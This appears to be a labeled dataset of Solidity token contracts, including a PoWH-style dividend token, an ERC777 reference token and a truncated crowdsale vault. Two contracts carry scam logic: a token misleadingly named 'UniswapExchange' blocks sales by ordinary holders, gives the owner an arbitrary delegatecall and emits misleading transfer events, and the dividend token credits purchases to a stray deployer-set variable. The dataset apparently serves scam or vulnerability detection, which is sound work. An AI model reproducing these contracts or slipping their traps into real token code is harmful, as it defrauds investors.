ambassadors_[0xb1ac3b02260b30b3f02fb32c675e1bd8f1e7d3b9] = true;
ambassadors_[0x4da6fc68499fb3753e77dd6871f2a0e4dc02febe] = true;
ambassadors_[0xf35878127762a588cdfef8bbb6765f1cf8671a62] = true;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function reinvest()
onlyStronghands()
public
{
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw()
onlyStronghands()
public
{
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
address _customerAddress = msg.sender;
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if(myDividends(true) > 0) withdraw();
uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(bytes32 _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAdress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
address _customerAdress = msg.sender;
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,545 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,357 |
pragma solidity ^0.4.21;
contract ERC820Registry {
function getManager(address addr) public view returns(address);
function setManager(address addr, address newManager) public;
function getInterfaceImplementer(address addr, bytes32 iHash) public constant returns (address);
function setInterfaceImplementer(address addr, bytes32 iHash, address implementer) public;
}
contract ERC820Implementer {
ERC820Registry erc820Registry = ERC820Registry(0x991a1bcb077599290d7305493c9A630c20f8b798);
function setInterfaceImplementation(string ifaceLabel, address impl) internal {
bytes32 ifaceHash = keccak256(ifaceLabel);
erc820Registry.setInterfaceImplementer(this, ifaceHash, impl);
}
function interfaceAddr(address addr, string ifaceLabel) internal constant returns(address) {
bytes32 ifaceHash = keccak256(ifaceLabel);
return erc820Registry.getInterfaceImplementer(addr, ifaceHash);
}
function delegateManagement(address newManager) internal {
erc820Registry.setManager(this, newManager);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface ERC20Token {
function name() public constant returns (string);
function symbol() public constant returns (string);
function decimals() public constant returns (uint8);
function totalSupply() public constant returns (uint256);
function balanceOf(address owner) public constant returns (uint256);
function transfer(address to, uint256 amount) public returns (bool);
function transferFrom(address from, address to, uint256 amount) public returns (bool);
function approve(address spender, uint256 amount) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC777Token {
function name() public view returns (string);
function symbol() public view returns (string);
function totalSupply() public view returns (uint256);
function balanceOf(address owner) public view returns (uint256);
function granularity() public view returns (uint256);
function defaultOperators() public view returns (address[]);
function isOperatorFor(address operator, address tokenHolder) public view returns (bool);
function authorizeOperator(address operator) public;
function revokeOperator(address operator) public;
function send(address to, uint256 amount, bytes holderData) public;
function operatorSend(address from, address to, uint256 amount, bytes holderData, bytes operatorData) public;
function burn(uint256 amount, bytes holderData) public;
function operatorBurn(address from, uint256 amount, bytes holderData, bytes operatorData) public;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes holderData,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes holderData, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
interface ERC777TokensSender {
function tokensToSend(
address operator,
address from,
address to,
uint amount,
bytes userData,
bytes operatorData
) public;
}
interface ERC777TokensRecipient {
function tokensReceived(
address operator,
address from,
address to,
uint amount,
bytes userData,
bytes operatorData
) public;
}
contract ERC777BaseToken is ERC777Token, ERC820Implementer {
using SafeMath for uint256;
string internal mName;
string internal mSymbol;
uint256 internal mGranularity;
uint256 internal mTotalSupply;
mapping(address => uint) internal mBalances;
mapping(address => mapping(address => bool)) internal mAuthorized;
address[] internal mDefaultOperators;
mapping(address => bool) internal mIsDefaultOperator;
mapping(address => mapping(address => bool)) internal mRevokedDefaultOperator;
function ERC777BaseToken(string _name, string _symbol, uint256 _granularity, address[] _defaultOperators) internal {
mName = _name;
mSymbol = _symbol;
mTotalSupply = 0;
require(_granularity >= 1);
mGranularity = _granularity;
mDefaultOperators = _defaultOperators;
for (uint i = 0; i < mDefaultOperators.length; i++) { mIsDefaultOperator[mDefaultOperators[i]] = true; }
setInterfaceImplementation("ERC777Token", this);
}
function name() public constant returns (string) { return mName; }
function symbol() public constant returns (string) { return mSymbol; }
function granularity() public constant returns (uint256) { return mGranularity; }
function totalSupply() public constant returns (uint256) { return mTotalSupply; }
function balanceOf(address _tokenHolder) public constant returns (uint256) { return mBalances[_tokenHolder]; }
function defaultOperators() public view returns (address[]) { return mDefaultOperators; }
function send(address _to, uint256 _amount, bytes _userData) public {
doSend(msg.sender, msg.sender, _to, _amount, _userData, "", true);
}
function authorizeOperator(address _operator) public {
require(_operator != msg.sender);
if (mIsDefaultOperator[_operator]) {
mRevokedDefaultOperator[_operator][msg.sender] = false;
} else {
mAuthorized[_operator][msg.sender] = true;
}
AuthorizedOperator(_operator, msg.sender);
}
function revokeOperator(address _operator) public {
require(_operator != msg.sender);
if (mIsDefaultOperator[_operator]) {
mRevokedDefaultOperator[_operator][msg.sender] = true;
} else {
mAuthorized[_operator][msg.sender] = false;
}
RevokedOperator(_operator, msg.sender);
}
function isOperatorFor(address _operator, address _tokenHolder) public constant returns (bool) {
return (_operator == _tokenHolder
|| mAuthorized[_operator][_tokenHolder]
|| (mIsDefaultOperator[_operator] && !mRevokedDefaultOperator[_operator][_tokenHolder]));
}
function operatorSend(address _from, address _to, uint256 _amount, bytes _userData, bytes _operatorData) public {
require(isOperatorFor(msg.sender, _from));
doSend(msg.sender, _from, _to, _amount, _userData, _operatorData, true);
}
function burn(uint256 _amount, bytes _holderData) public {
doBurn(msg.sender, msg.sender, _amount, _holderData, "");
}
function operatorBurn(address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData) public {
require(isOperatorFor(msg.sender, _tokenHolder));
doBurn(msg.sender, _tokenHolder, _amount, _holderData, _operatorData);
}
function requireMultiple(uint256 _amount) internal view {
require(_amount.div(mGranularity).mul(mGranularity) == _amount);
}
function isRegularAddress(address _addr) internal constant returns(bool) {
if (_addr == 0) { return false; }
uint size;
assembly { size := extcodesize(_addr) }
return size == 0;
}
function doSend(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
)
internal
{
requireMultiple(_amount);
callSender(_operator, _from, _to, _amount, _userData, _operatorData);
require(_to != address(0));
require(mBalances[_from] >= _amount);
mBalances[_from] = mBalances[_from].sub(_amount);
mBalances[_to] = mBalances[_to].add(_amount);
callRecipient(_operator, _from, _to, _amount, _userData, _operatorData, _preventLocking);
Sent(_operator, _from, _to, _amount, _userData, _operatorData);
}
function doBurn(address _operator, address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData)
internal
{
requireMultiple(_amount);
require(balanceOf(_tokenHolder) >= _amount);
mBalances[_tokenHolder] = mBalances[_tokenHolder].sub(_amount);
mTotalSupply = mTotalSupply.sub(_amount);
callSender(_operator, _tokenHolder, 0x0, _amount, _holderData, _operatorData);
Burned(_operator, _tokenHolder, _amount, _holderData, _operatorData);
}
function callRecipient(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
)
internal
{
address recipientImplementation = interfaceAddr(_to, "ERC777TokensRecipient");
if (recipientImplementation != 0) {
ERC777TokensRecipient(recipientImplementation).tokensReceived(
_operator, _from, _to, _amount, _userData, _operatorData);
} else if (_preventLocking) {
require(isRegularAddress(_to));
}
}
function callSender(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData
)
internal
{
address senderImplementation = interfaceAddr(_from, "ERC777TokensSender");
if (senderImplementation == 0) { return; }
ERC777TokensSender(senderImplementation).tokensToSend(_operator, _from, _to, _amount, _userData, _operatorData);
}
}
contract ERC777ERC20BaseToken is ERC20Token, ERC777BaseToken {
bool internal mErc20compatible;
bool public unlocked;
mapping(address => mapping(address => bool)) internal mAuthorized;
mapping(address => mapping(address => uint256)) internal mAllowed;
function ERC777ERC20BaseToken(
string _name,
string _symbol,
uint256 _granularity,
address[] _defaultOperators
)
internal ERC777BaseToken(_name, _symbol, _granularity, _defaultOperators)
{
mErc20compatible = true;
unlocked = true;
setInterfaceImplementation("ERC20Token", this);
}
modifier erc20 () {
require(mErc20compatible);
_;
}
function decimals() public erc20 constant returns (uint8) { return uint8(18); }
function transfer(address _to, uint256 _amount) public erc20 returns (bool success) {
doSend(msg.sender, msg.sender, _to, _amount, "", "", false);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public erc20 returns (bool success) {
require(_amount <= mAllowed[_from][msg.sender]);
mAllowed[_from][msg.sender] = mAllowed[_from][msg.sender].sub(_amount);
doSend(msg.sender, _from, _to, _amount, "", "", false);
return true;
}
function approve(address _spender, uint256 _amount) public erc20 returns (bool success) {
mAllowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public erc20 constant returns (uint256 remaining) {
return mAllowed[_owner][_spender];
}
function doSend(
address _operator,
address _from,
address _to,
uint256 _amount,
bytes _userData,
bytes _operatorData,
bool _preventLocking
)
internal
{
require(unlocked);
super.doSend(_operator, _from, _to, _amount, _userData, _operatorData, _preventLocking);
if (mErc20compatible) { Transfer(_from, _to, _amount); }
}
function doBurn(address _operator, address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData)
internal
{
super.doBurn(_operator, _tokenHolder, _amount, _holderData, _operatorData);
if (mErc20compatible) { Transfer(_tokenHolder, 0x0, _amount); }
}
}
contract ReferenceToken is ERC777ERC20BaseToken, Ownable {
address private mBurnOperator;
function ReferenceToken(
string _name,
string _symbol,
uint256 _granularity,
address[] _defaultOperators,
address _burnOperator
) public ERC777ERC20BaseToken(_name, _symbol, _granularity, _defaultOperators) {
mBurnOperator = _burnOperator;
}
function disableERC20() public onlyOwner {
mErc20compatible = false;
setInterfaceImplementation("ERC20Token", 0x0);
}
function enableERC20() public onlyOwner {
mErc20compatible = true;
setInterfaceImplementation("ERC20Token", this);
}
function disableInterface(string _interface) public onlyOwner { setInterfaceImplementation(_interface, 0x0); }
function enableInterface(string _interface, address _impl) public onlyOwner { setInterfaceImplementation(_interface, _impl); }
function delegateERC820Management(address _newManager) public onlyOwner { delegateManagement(_newManager); }
function lock() public onlyOwner { unlocked = false; }
function unlock() public onlyOwner { unlocked = true;}
function mint(address _tokenHolder, uint256 _amount, bytes _operatorData) public onlyOwner {
requireMultiple(_amount);
mTotalSupply = mTotalSupply.add(_amount);
mBalances[_tokenHolder] = mBalances[_tokenHolder].add(_amount);
callRecipient(msg.sender, 0x0, _tokenHolder, _amount, "", _operatorData, true);
Minted(msg.sender, _tokenHolder, _amount, _operatorData);
if (mErc20compatible) { Transfer(0x0, _tokenHolder, _amount); }
}
function burn(uint256 _amount, bytes _holderData) public onlyOwner {
require(msg.sender == mBurnOperator);
super.burn(_amount, _holderData);
}
function operatorBurn(address _tokenHolder, uint256 _amount, bytes _holderData, bytes _operatorData) public {
require(msg.sender == mBurnOperator);
super.operatorBurn(_tokenHolder, _amount, _holderData, _operatorData);
}
} | 0 | 2,406 |
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier stopNonOwnersInEmergency {
require(!halted && msg.sender == owner);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
